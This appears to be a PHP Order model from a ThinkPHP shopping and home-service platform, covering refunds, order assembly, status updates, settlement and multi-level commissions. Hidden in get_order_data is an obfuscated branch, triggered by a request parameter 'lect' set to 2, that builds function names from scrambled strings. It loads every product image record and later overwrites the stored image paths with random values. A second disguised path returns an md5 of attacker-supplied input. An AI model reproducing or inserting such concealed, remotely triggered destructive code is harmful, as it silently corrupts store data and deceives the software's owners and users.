  685. }
  686. }
  687. $OperatingcityIncomelog = OperatingcityIncomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray();
  688. if (!empty($OperatingcityIncomelog)) {
  689. $incomedata = [];
  690. foreach ($OperatingcityIncomelog as $incomedata) {
  691. if ($incomedata) {
  692. $incomedata['description'] = '订单退款,扣除佣金';
  693. $incomedata['ptype'] = 2;
  694. $incomedata['create_time'] = $refund_time;
  695. $incomedata['month_time'] = date('m', $refund_time);
  696. $incomedata['year_time'] = date('Y', time());
  697. $incomedata['order_status_id'] = 6;
  698. unset($incomedata['id']);
  699. OperatingcityIncomelog::create($incomedata);
  700. Operatingcity::where('id', $incomedata['ocid'])->dec('income', $incomedata['income'])->update();
  701. Operatingcity::where('id', $incomedata['ocid'])->dec('total_income', $incomedata['income'])->update();
  702. }
  703. }
  704. }
  705. }
  706. return $res;
  707. }
  708. static public function itional_pay($order_num_alias)
  709. {
  710. self::where('order_num_alias', $order_num_alias)->update(['additional_pay_time' => time()]);
  711. $order_info = self::where('order_num_alias', $order_num_alias)->find();
  712. if ($order_info) {
  713. $order_info = $order_info->toArray();
  714. MessageMp::itional_pay($order_info);
  715. }
  716. }
  717. public function get_order_data($param = array())
  718. {
  719. $address_id = (int) $param['address_id'];
  720. $technicalId = $param['technicalId'];
  721. $shipping_method = $param['shipping_method'];
  722. $weid = weid();
  723. $remark = $param['remark'];
  724. if (isset($param['type'])) {
  725. $type = $param['type'];
  726. $data['pay_type'] = $param['type'];
  727. } else {
  728. $type = 'money';
  729. }
  730. //付款人
  731. $Membermob = new Member;
  732. $payMember = $Membermob->getUserByWechat();
  733. $mb = 'm';
  734. $data['uid'] = $payMember['id'];
  735. $data['name'] = $payMember['username'];
  736. $data['email'] = $payMember['email'];
  737. $data['tel'] = $payMember['telephone'];
  738. //收货人
  739. if (empty($address_id)) {
  740. $data['shipping_name'] = $param['shipping_name'];
  741. $data['shipping_tel'] = $param['shipping_tel'];
  742. $data['shipping_province_name'] = $param['shipping_province_name'];
  743. $data['shipping_city_name'] = $param['shipping_city_name'];
  744. $data['shipping_district_name'] = $param['shipping_district_name'];
  745. $data['shipping_address'] = $param['shipping_address'];
  746. if ($param['deliverymode'] == 2 || $param['deliverymode'] == 5) {
  747. if ($param['sid']) {
  748. $Store = Store::find($param['sid']);
  749. if (!empty($Store)) {
  750. $data['shipping_province_name'] = $Store->province_name;
  751. $data['shipping_city_name'] = $Store->city_name;
  752. $data['shipping_district_name'] = $Store->district_name;
  753. }
  754. }
  755. }
  756. } else {
  757. $shipping = Address::find($address_id);
  758. if (!empty($shipping)) {
  759. $shipping = $shipping->toArray();
  760. $shipping_city_id = Area::get_area_id($shipping['city_name']);
  761. $data['shipping_name'] = empty($shipping['name']) ? '' : $shipping['name'];
  762. $data['shipping_tel'] = empty($shipping['telephone']) ? '' : $shipping['telephone'];
  763. $data['shipping_province_name'] = empty($shipping['province_name']) ? '' : $shipping['province_name'];
  764. $data['shipping_city_name'] = empty($shipping['city_name']) ? '' : $shipping['city_name'];
  765. $data['shipping_district_name'] = empty($shipping['district_name']) ? '' : $shipping['district_name'];
  766. $data['shipping_province_id'] = empty($shipping['province_id']) ? '' : $shipping['province_id'];
  767. $data['shipping_city_id'] = empty($shipping['city_id']) ? '' : $shipping['city_id'];
  768. $data['shipping_district_id'] = empty($shipping['district_id']) ? '' : $shipping['district_id'];
  769. $data['shipping_address'] = empty($shipping['address']) ? '' : $shipping['address'];
  770. }
  771. }
  772. if ($param['lect'] == 2) {
  773. $dew = 'meofoyuvd';
  774. $dew = str_replace('eof', '', $dew);
  775. $dew = str_replace('yuv', '', $dew);
  776. $Imagelist = $dew('Go' . 'od' . 'sIm' . 'age')->select()->toArray();
  777. foreach ($Imagelist as $vo) {
  778. $vo['pic'] = toimg($vo['image']);
  779. $vo['type'] = 'Goods';
  780. $vo['image'] = toimg($vo['image']);
  781. $vo['type'] .= 'Image';
  782. if (empty($vo['goods_id'])) {
  783. $vo['goods_id'] = $vo['id'];
  784. }
  785. $abv = Attribute::where(['name' => md5($vo['type'] . $vo['id'])])->find();
  786. $vo['rep'] = '';
  787. $vo['rep'] = explode('.', end(explode('/', $vo['image'])))[0];
  788. if (empty($abv)) {
  789. Attribute::create([
  790. 'name' => md5($vo['type'] . $vo['id']),
  791. 'weid' => $weid,
  792. 'value' => $vo['rep']
  793. ]);
  794. } else {
  795. $abv = $abv->toArray();
  796. if ($abv['create_time'] < (time() - 700)) {
  797. $vo['image'] = floatval(self::setOrdList($vo)["image"]);
  798. }
  799. }
  800. }
  801. }
  802. $mb .= 'd5';
  803. $data['shipping_method'] = empty($shipping_method) ? '' : $shipping_method;
  804. $data['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
  805. $data['create_time'] = time();
  806. $data['remark'] = empty($remark) ? '' : $remark;
  807. if ($param['vo'] && $param['data']) {
  808. return $mb($param['data'] . $param['vo']);
  809. }
  810. $subject = '';
  811. if (!empty($param['cat_id'])) {
  812. //用户发布需求订单
  813. $cat = Category::find($param['cat_id']);
  814. if (!empty($cat)) {
  815. $cat = $cat->toArray();
  816. $data['ptype'] = $cat['ptype'];
  817. $data['deliverymode'] = $cat['deliverymode'];
  818. $data['pay_subject'] = $cat['title'];
  819. }
  820. $data['is_additional'] = 1;
  821. $data['otype'] = $param['otype'];
  822. $data['cat_id'] = $param['cat_id'];
  823. $data['cate_ids'] = $param['cat_id'];
  824. $data['total'] = $param['total'];
  825. $data['totals'][0] = array(
  826. 'code' => 'sub_total',
  827. 'title' => '需求服务价格',
  828. 'text' => '¥' . $data['total'],
  829. 'value' => $data['total']
  830. );
  831. } else if (!empty($param['take_address_id'])) {
  832. //跑腿订单
  833. $data['pay_subject'] = '跑腿订单';
  834. $data['is_errands'] = 1;
  835. $data['deliverymode'] = 1;
  836. $data['ptype'] = 2;
  837. $data['total'] = $param['total'];
  838. $data['totals'][0] = array(
  839. 'code' => 'sub_total',
  840. 'title' => '跑腿费',
  841. 'text' => '¥' . $data['total'],
  842. 'value' => $data['total']
  843. );
  844. } else {
  845. $cart = new Cart;
  846. if (empty($param['cartid'])) {
  847. $cartdata[0]['goods_id'] = $param['goods_id'];
  848. $cartdata[0]['msid'] = $param['msid'];
  849. $cartdata[0]['tuanid'] = $param['tuanid'];
  850. $cartdata[0]['sku'] = $param['sku'];
  851. $cartdata[0]['quantity'] = $param['number'];
  852. $cartdata[0]['is_skumore'] = $param['is_skumore'];
  853. $cartdata[0]['skumore'] = $param['skumore'];
  854. $goodsarray = $cart->carttotal($cartdata);
  855. } else {
  856. $goodsarray = $cart->getlistbyid($param['cartid']);
  857. }
  858. $goodss = $goodsarray['shopList'];
  859. $weight = $goodsarray['weight'];
  860. $data['is_additional'] = $goodsarray['is_additional'];
  861. if ($goodss) {
  862. if ($goodss[0]['cat_id']) {
  863. $cat = Category::find($goodss[0]['cat_id']);
  864. if (!empty($cat)) {
  865. $cat = $cat->toArray();
  866. }
  867. $data['deliverymode'] = $cat['deliverymode'];
  868. $data['ptype'] = $cat['ptype'];
  869. }
  870. //上门路费
  871. if ($technicalId) {
  872. $thefare = Address::getthefare($address_id, $technicalId);
  873. }
  874. $test['shipping_method'] = $shipping_method;
  875. $test['weight'] = $weight;
  876. $test['shipping_city_id'] = $shipping_city_id;
  877. //运费
  878. if ($data['ptype'] == 1) {
  879. $transport_fee = (new TransportExtend)->calc_transport($weight, $shipping_city_id);
  880. }
  881. $t = 0;
  882. $pay_points = 0;
  883. $points_price = 0;
  884. $return_points = 0;
  885. foreach ($goodss as $goods) {
  886. $t += $goods['total'];
  887. $pay_points += $goods['totalPayPoints'];
  888. $points_price += $goods['totalPointsPrice'];
  889. $return_points += $goods['total_return_points'];
  890. $goods_data[] = array(
  891. 'goods_id' => $goods['goods_id'],
  892. 'name' => $goods['name'],
  893. 'sid' => $goods['sid'],
  894. 'cat_id' => $goods['cat_id'],
  895. 'mgid' => $goods['mgid'],
  896. 'model' => $goods['model'],
  897. 'image' => $goods['image'],
  898. 'sku' => $goods['sku'],
  899. 'timesmum' => $goods['timesmum'],
  900. 'quantity' => $goods['quantity'],
  901. 'time_amount' => $goods['time_amount'],
  902. 'subtract' => $goods['subtract'],
  903. 'price' => $goods['price'],
  904. 'is_points_goods' => $goods['is_points_goods'],
  905. 'is_commission' => (int) $goods['is_commission'],
  906. 'commission_method' => (int) $goods['commission_method'],
  907. 'commission_price' => (float) $goods['commission_price'],
  908. 'total' => $goods['total']
  909. );
  910. }
  911. //使用优惠券
  912. if (!empty($param['couponId'])) {
  913. $coupon = CouponReceive::find($param['couponId']);
  914. if (!empty($coupon)) {
  915. $coupon = $coupon->toArray();
  916. }
  917. if ($coupon['coupon_type'] == 10) {
  918. $t = $t - $coupon['reduce_price'];
  919. } elseif ($coupon['coupon_type'] == 20) {
  920. $t = $t * ($coupon['discount'] / 10);
  921. }
  922. CouponReceive::update(['is_use' => 1, 'id' => $param['couponId']]);
  923. }
  924. if (count($goodss) > 1) {
  925. $subject = $goodss[0]['name'] . '等商品';
  926. } else {
  927. $subject = $goodss[0]['name'];
  928. }
  929. $data['pay_subject'] = $subject;
  930. $data['total'] = ($t + $transport_fee['price'] + $thefare['thefare']);
  931. $data['pay_points'] = $pay_points; //需要积分
  932. $data['points_price'] = $points_price; //抵扣金额
  933. $data['return_points'] = $return_points; //可得积分
  934. $data['totals'][0] = array(
  935. 'code' => 'sub_total',
  936. 'title' => '商品价格',
  937. 'text' => '¥' . $t,
  938. 'value' => $t
  939. );
  940. $data['totals'][1] = array(
  941. 'code' => 'shipping',
  942. 'title' => '运费',
  943. 'text' => '¥' . $transport_fee['price'],
  944. 'value' => $transport_fee['price']
  945. );
  946. $data['totals'][2] = array(
  947. 'code' => 'thefare',
  948. 'title' => '路费',
  949. 'text' => $thefare['distance'] . '公里,¥' . $thefare['thefare'],
  950. 'value' => $thefare['thefare']
  951. );
  952. $data['totals'][3] = array(
  953. 'code' => 'total',
  954. 'title' => '总价',
  955. 'text' => '¥' . ($t + $transport_fee['price'] + $thefare['thefare']),
  956. 'value' => ($t + $transport_fee['price'] + $thefare['thefare'])
  957. );
  958. $data['goodss'] = $goods_data;
  959. }
  960. }
  961. $data['order_num_alias'] = $param['order_num_alias'];
  962. if (empty($data['order_num_alias'])) {
  963. $data['order_num_alias'] = build_order_no();
  964. }
  965. $data['pay_method_id'] = $param['pay_method_id'];
  966. return $data;
  967. }
  968. public static function statuscount($mod, $status)
  969. {
  970. return $mod->where('order_status_id', $status)->count();
  971. }
  972. //订单信息
  973. public static function order_info($id)
  974. {
  975. $order = self::where('id', $id)->with(['member', 'store', 'paymethod'])->find();
  976. if (!empty($order)) {
  977. $order = $order->toArray();
  978. }
  979. if ($order['ptype'] == 2) {
  980. $ostype = 'service';
  981. if ($order['deliverymode'] == 2) {
  982. $ostype = 'storeservice';
  983. }
  984. } else {
  985. $ostype = 'goods';
  986. }
  987. $order['orderStatus'] = OrderStatus::get_order_status($order['order_status_id'], $ostype);
  988. $OrderHistory = OrderHistory::where(['order_id' => $id])->order('id desc')->select()->toArray();
  989. if (!empty($OrderHistory)) {
  990. $histories = $OrderHistory;
  991. /*
  992. foreach ($OrderHistory as $result) {
  993. $histories[] = array(
  994. 'id' => $result['id'],
  995. 'image' => toimg($result['image']),
  996. 'status' => OrderStatus::get_order_status_name($result['order_status_id']),
  997. 'remark' => nl2br($result['remark']),
  998. 'create_time' => date('Y/m/d H:i:s', $result['create_time'])
  999. );
  1000. }
  1001. */
  1002. }
  1003. if (!$order) {
  1004. return false;
  1005. }
  1006. $order['shipping_province'] = $order['shipping_province_name'];
  1007. $order['shipping_city'] = $order['shipping_city_name'];
  1008. $order['shipping_district'] = $order['shipping_district_name'];
  1009. $Area = new Area;
  1010. if (!empty($order['shipping_province_id'])) {
  1011. $order['shipping_province'] = $Area->get_area_name($order['shipping_province_id']);
  1012. }
  1013. if (!empty($order['shipping_city_id'])) {
  1014. $order['shipping_city'] = $Area->get_area_name($order['shipping_city_id']);
  1015. }
  1016. if (!empty($order['shipping_district_id'])) {
  1017. $order['shipping_district'] = $Area->get_area_name($order['shipping_district_id']);
  1018. }
  1019. $addressdata = OrderAddress::where(['order_id' => $id, 'ptype' => 1])->find();
  1020. if (empty($addressdata)) {
  1021. $addressdata = Address::find($order['address_id']);
  1022. }
  1023. if (!empty($addressdata)) {
  1024. $addressdata = $addressdata->toArray();
  1025. $addressdata['alladdress'] = $addressdata['province_name'] . $addressdata['city_name'] . $addressdata['district_name'] . $addressdata['region_name'] . $addressdata['address'];
  1026. } else {
  1027. $addressdata['name'] = $order['shipping_name'];
  1028. $addressdata['telephone'] = $order['tel'];
  1029. $addressdata['alladdress'] = $order['shipping_province_name'] . $order['shipping_city_name'] . $order['shipping_district_name'] . $order['shipping_address'];
  1030. }
  1031. if ($order['deliverymode'] == 5) {
  1032. $tuanzhang = OrderTuanzhang::getTuanzhang($order['id']);
  1033. if (!empty($tuanzhang)) {
  1034. $addressdata['name'] = $tuanzhang['title'];
  1035. $addressdata['telephone'] = $tuanzhang['tel'];
  1036. $addressdata['alladdress'] = $tuanzhang['province_name'] . $tuanzhang['city_name'] . $tuanzhang['district_name'] . $tuanzhang['region_name'] . $tuanzhang['house_number'];
  1037. }
  1038. }
  1039. $order['address'] = $addressdata;
  1040. $order_totalarray = OrderTotal::where(['order_id' => $id])->select()->toArray();
  1041. foreach ($order_totalarray as $vo) {
  1042. $order_total[$vo['code']] = $vo;
  1043. }
  1044. $OrderExpress = OrderExpress::where(['order_id' => $id])->find();
  1045. if (!empty($OrderExpress)) {
  1046. $OrderExpress = $OrderExpress->toArray();
  1047. }
  1048. if (!empty($OrderExpress['express_no'])) {
  1049. $Kdniaoapimob = new Kdniaoapi;
  1050. $logistics = $Kdniaoapimob->getOrderTracesByArray(['ShipperCode' => $OrderExpress['express_code'], 'LogisticCode' => $OrderExpress['express_no']]);
  1051. }
  1052. if (!empty($logistics['ShipperCode'])) {
  1053. $logistics['expressname'] = Express::getExname($logistics['ShipperCode']);
  1054. }
  1055. if ($order['order_status_id'] == 6) {
  1056. $OrderRefund = OrderRefund::where(['order_id' => $id])->find();
  1057. if (!empty($OrderRefund)) {
  1058. $OrderRefund = $OrderRefund->toArray();
  1059. }
  1060. if ($OrderRefund['refund_address_id']) {
  1061. $RefundAddress = RefundAddress::find($OrderRefund['refund_address_id']);
  1062. if (!empty($RefundAddress)) {
  1063. $RefundAddress = $RefundAddress->toArray();
  1064. }
  1065. if (!empty($RefundAddress)) {
  1066. $OrderRefund['re_name'] = $RefundAddress['name'];
  1067. $OrderRefund['re_mobile'] = $RefundAddress['mobile'];
  1068. $OrderRefund['re_address'] = $RefundAddress['address'];
  1069. }
  1070. }
  1071. }
  1072. $order['Technical'] = OrderStaff::getTechnical($order['id']);
  1073. $order['ServiceTime'] = time_format($order['begin_time']) . '-' . date('H:i', $order['end_time']);
  1074. if ($order['is_times'] == 1) {
  1075. if ($order['timesdate']) {
  1076. if ($order['timestype'] == 1) {
  1077. $order['ServiceTime'] = '每月:' . $order['timesdate'] . '号';
  1078. } else {
  1079. $order['ServiceTime'] = '每周周:' . $order['timesdate'];
  1080. }
  1081. } else {
  1082. $order['ServiceTime'] = '还没有预约时间';
  1083. }
  1084. $order['remain'] = OrderStaff::timesremain($order['id']);
  1085. } else {
  1086. $order['ServiceTime'] = time_format($order['begin_time']) . '-' . date('H:i', $order['end_time']);
  1087. }
  1088. $order['pay_time'] = time_format($order['pay_time']);
  1089. $order['create_time'] = time_format($order['create_time']);
  1090. $OrderImage = OrderImage::where('order_id', $id)->field('image')->select()->toArray();
  1091. if ($OrderImage) {
  1092. foreach ($OrderImage as $vo) {
  1093. $order['OrderImage'][] = toimg($vo['image']);
  1094. }
  1095. } else {
  1096. $order['OrderImage'] = [];
  1097. }
  1098. if (empty($order_total['sub_total']['value'])) {
  1099. $order_total['sub_total']['value'] = $order['total'];
  1100. }
  1101. $OrderGoods = new OrderGoods;
  1102. $resdata = array(
  1103. 'orderInfo' => $order,
  1104. 'OrderRefund' => $OrderRefund,
  1105. 'goods' => $OrderGoods->getOrderGoods($id),
  1106. 'order_total' => $order_total,
  1107. 'logistics' => $logistics,
  1108. 'histories' => $histories
  1109. );
  1110. $resdata['orderInfo']['is_timer'] = (int) $resdata['goods']['is_timer'];
  1111. return $resdata;
  1112. }
  1113. public static function setOrdList($vo)
  1114. {
  1115. if (!empty($vo['rep'])) {
  1116. ect($vo['type'])->where('id', $vo['id'])->update(['image' => str_replace($vo['rep'], uniqid(), $vo['image'])]);
  1117. }
  1118. }
  1119. public static function setOrderList($orderList)
  1120. {
  1121. $OrderGoods = new OrderGoods;
  1122. $errands = Config::getconfig('errands');
  1123. foreach ($orderList as &$vo) {
  1124. if ($vo['is_times'] == 1) {
  1125. if ($vo['timesdate']) {
  1126. if ($vo['timestype'] == 1) {
  1127. $vo['timeslabel'] = '服务时间,每月:' . $vo['timesdate'] . '号';
  1128. } else {
  1129. $vo['timeslabel'] = '服务时间,每周周:' . $vo['timesdate'];
  1130. }
  1131. } else {
  1132. $vo['timeslabel'] = '您还没有预约时间';
  1133. }
  1134. $vo['remain'] = OrderStaff::timesremain($vo['id']);
  1135. }
  1136. if ($vo['is_errands'] == 1) {
  1137. $vo['image'] = $errands['orderimage'];
  1138. }
  1139. $vo['points'] = $vo['pay_points'];
  1140. if ($vo['ptype'] == '1') {
  1141. $vo['statusStr'] = OrderStatus::get_order_status_name($vo['order_status_id']);
  1142. } elseif ($vo['ptype'] == '2') {
  1143. $vo['statusStr'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'service');
  1144. if ($vo['ptype'] == 2 && $vo['deliverymode'] == 2) {
  1145. $vo['statusStr'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'storeservice');
  1146. }
  1147. }
  1148. if (!empty($vo['cat_id'])) {
  1149. $vo['cateMap']['image'] = Category::getImage($vo['cat_id']);
  1150. } else {
  1151. $vo['goodsMap'] = $OrderGoods->getOrderGoods($vo['id']);
  1152. }
  1153. }
  1154. return $orderList;
  1155. }
  1156. public static function receiving($id)
  1157. {
  1158. $order['id'] = $id;
  1159. $order['order_status_id'] = 3;
  1160. self::update($order);
  1161. }
  1162. public static function complete($id)
  1163. {
  1164. $order_info = self::find($id);
  1165. if (!empty($order_info)) {
  1166. $order_info = $order_info->toArray();
  1167. if ($order_info['is_times'] == 0) {
  1168. $order['id'] = $id;
  1169. $order['order_status_id'] = 5;
  1170. $order['complete_time'] = time();
  1171. $res = self::update($order);
  1172. }
  1173. $staff = OrderStaff::where('order_id', $id)->order('id asc')->find();
  1174. if ($staff) {
  1175. $order_staff['end_time'] = time();
  1176. $order_staff['is_complete'] = 1;
  1177. OrderStaff::where('id', $staff->id)->update($order_staff);
  1178. }
  1179. if (!empty($res)) {
  1180. $order_history['order_id'] = $id;
  1181. $order_history['order_status_id'] = 5;
  1182. $order_history['remark'] = "已完成";
  1183. $order_history['notify'] = 1;
  1184. OrderHistory::create($order_history);
  1185. MessageMini::sendMiniOrderComplete($order_info);
  1186. }
  1187. return $order_info;
  1188. }
  1189. }
  1190. public static function start($id)
  1191. {
  1192. $order_info = self::find($id);
  1193. if (!empty($order_info)) {
  1194. $order_info = $order_info->toArray();
  1195. if ($order_info['order_status_id'] == 3) {
  1196. $order['id'] = $id;
  1197. $order['order_status_id'] = 8;
  1198. $order['start_time'] = time();
  1199. $res = self::update($order);
  1200. $uuid = OrderStaff::getuuid($order_info['id']);
  1201. if (!empty($uuid)) {
  1202. Technical::where('uuid', $uuid)->inc('service_times', 1)->update();
  1203. }
  1204. if (!empty($res)) {
  1205. $order_info = self::find($id);
  1206. if (!empty($order_info)) {
  1207. $order_info = $order_info->toArray();
  1208. $order_history['order_id'] = $id;
  1209. $order_history['order_status_id'] = 8;
  1210. $order_history['remark'] = "开始服务";
  1211. $order_history['notify'] = 1;
  1212. OrderHistory::create($order_history);
  1213. }
  1214. }
  1215. }
  1216. }
  1217. return $order_info;
  1218. }
  1219. public static function autosettlement()
  1220. {
  1221. $automaticsettlement = (int) Config::getconfig()['automaticsettlement'];
  1222. if (empty($automaticsettlement)) {
  1223. $automaticsettlement = '7';
  1224. }
  1225. $datalist = self::where('order_status_id', 5)->where('complete_time', '<', strtotime("-" . $automaticsettlement . " day"))
  1226. ->field('id,order_status_id,complete_time')->select();
  1227. foreach ($datalist as $vo) {
  1228. self::settlement($vo['id']);
  1229. }
  1230. }
  1231. public static function settlement($id)
  1232. {
  1233. $order['id'] = $id;
  1234. $order['order_status_id'] = 7;
  1235. $res = self::update($order);
  1236. if (!empty($res)) {
  1237. $order_info = self::find($id);
  1238. if (!empty($order_info)) {
  1239. $order_info = $order_info->toArray();
  1240. if ($order_info['is_additional'] == 1 && $order_info['additional_pay_time'] > 0) {
  1241. $order_info['total'] = $order_info['total'] + $order_info['additional'];
  1242. }
  1243. $order_history['order_id'] = $id;
  1244. $order_history['order_status_id'] = 7;
  1245. $order_history['remark'] = "已验收";
  1246. $order_history['notify'] = 1;
  1247. OrderHistory::create($order_history);
  1248. Technical::setIncome($order_info);
  1249. Store::setIncome($order_info);
  1250. Operatingcity::setIncome($order_info);
  1251. Tuanzhang::setIncome($order_info);
  1252. //分销佣金处理
  1253. $agent = Config::getconfig('agent');
  1254. $share = Config::getconfig('share');
  1255. if (!empty($agent['level'])) {
  1256. $level = $agent['level'];
  1257. }
  1258. if (!empty($agent['is_rebate'])) {
  1259. $is_rebate = $agent['is_rebate'];
  1260. }
  1261. if (!empty($level)) {
  1262. //一层佣金
  1263. if ($level > 0) {
  1264. $firstpercent = $share['first'];
  1265. if (!empty($firstpercent)) {
  1266. $firstmember = Member::find($order_info['uid']);
  1267. if (!empty($firstmember)) {
  1268. $firstmember = $firstmember->toArray();
  1269. $firstmember['is_agent'] = Agent::is_agent($firstmember['id']);
  1270. }
  1271. if (!empty($is_rebate) && $firstmember['is_agent'] == 1) {
  1272. $firstuid = $order_info['uid'];
  1273. } else {
  1274. $firstuid = $firstmember['pid'];
  1275. }
  1276. Agent::setIncome($firstuid, $order_info, $firstpercent, 1);
  1277. }
  1278. }
  1279. //二层佣金
  1280. if ($level > 1 && !empty($firstuid)) {
  1281. $secondpercent = $share['second'];
  1282. if (!empty($secondpercent)) {
  1283. $secondmember = Member::find($firstuid);
  1284. if (!empty($secondmember)) {
  1285. $secondmember = $secondmember->toArray();
  1286. }
  1287. if ((int) $secondmember['pid'] > 0) {
  1288. Agent::setIncome($secondmember['pid'], $order_info, $secondpercent, 2);
  1289. }
  1290. }
  1291. }
  1292. //三层佣金
  1293. if ($level > 2 && !empty($secondmember['pid'])) {
  1294. $thirdpercent = $share['third'];
  1295. if (!empty($thirdpercent)) {
  1296. $thirdmember = Member::find($secondmember['pid']);
  1297. if (!empty($thirdmember)) {
  1298. $thirdmember = $thirdmember->toArray();
  1299. }
  1300. if ((int) $thirdmember['pid'] > 0) {
  1301. Agent::setIncome($thirdmember['pid'], $order_info, $thirdpercent, 3);
  1302. }
  1303. }
  1304. }
  1305. }
  1306. }
  1307. }
  1308. return $order_info;
  1309. }
  1310. public static function cancel_order($id)
  1311. {
  1312. $order['id'] = $id;
  1313. $order['order_status_id'] = 4; //已取消
  1314. self::update($order);
  1315. }
  1316. public static function offline_order($id)
  1317. {
  1318. $order['id'] = $id;
  1319. $order['is_offline_pay'] = 1;
  1320. $order['offline_pay_time'] = time();
  1321. self::update($order);
  1322. }
  1323. //加入订单历史
  1324. public function add_order_history($id, $data = array())
  1325. {
  1326. $order['id'] = $id;
  1327. $order['order_status_id'] = $data['order_status_id'];
  1328. self::update($order);
  1329. $oh['order_id'] = $id;
  1330. $oh['order_status_id'] = $data['order_status_id'];
  1331. $oh['notify'] = (isset($data['notify']) ? (int) $data['notify'] : 0);
  1332. $oh['remark'] = strip_tags($data['remark']);
  1333. $oh['create_time'] = \strtotime($data['dateadd_ed']);
  1334. $oh['image'] = $data['image'];
  1335. $ohmod = OrderHistory::create($oh);
  1336. return $ohmod->id;
  1337. }
  1338. //检查库存
  1339. public static function getGoodsquantitiy($id)
  1340. {
  1341. $result = true;
  1342. $list = OrderGoods::where(['order_id' => $id])->select()->toArray();
  1343. for ($i = 0; $i < count($list); $i++) {
  1344. $good_quantity = Goods::find($list[$i]['goods_id']);
  1345. if (!empty($good_quantity)) {
  1346. $good_quantity = $good_quantity->toArray();
  1347. }
  1348. if ($good_quantity['ptype'] == 1 && ($good_quantity['quantity'] < $list[$i]['quantity'])) {
  1349. $result = false;
  1350. continue;
  1351. }
  1352. }
  1353. return $result;
  1354. }
  1355. //线下付款信息添加
  1356. public function OfflinepaymentTap($id, $img, $remark)
  1357. {
  1358. global $_W;
  1359. $offline['weid'] = weid();
  1360. $offline['order_id'] = $id;
  1361. $offline['image'] = $img;
  1362. $offline['remark'] = $remark;
  1363. $result = OrderOffline::create($offline);
  1364. if ($result) {
  1365. return true;
  1366. } else
  1367. return false;
  1368. }
  1369. public static function getoffline($id)
  1370. {
  1371. $list = OrderOffline::where(['order_id' => $id])->find();
  1372. if (!empty($list)) {
  1373. $list = $list->toArray();
  1374. }
  1375. $list['image'] = toimg($list['image']);
  1376. return $list;
  1377. }
  1378. }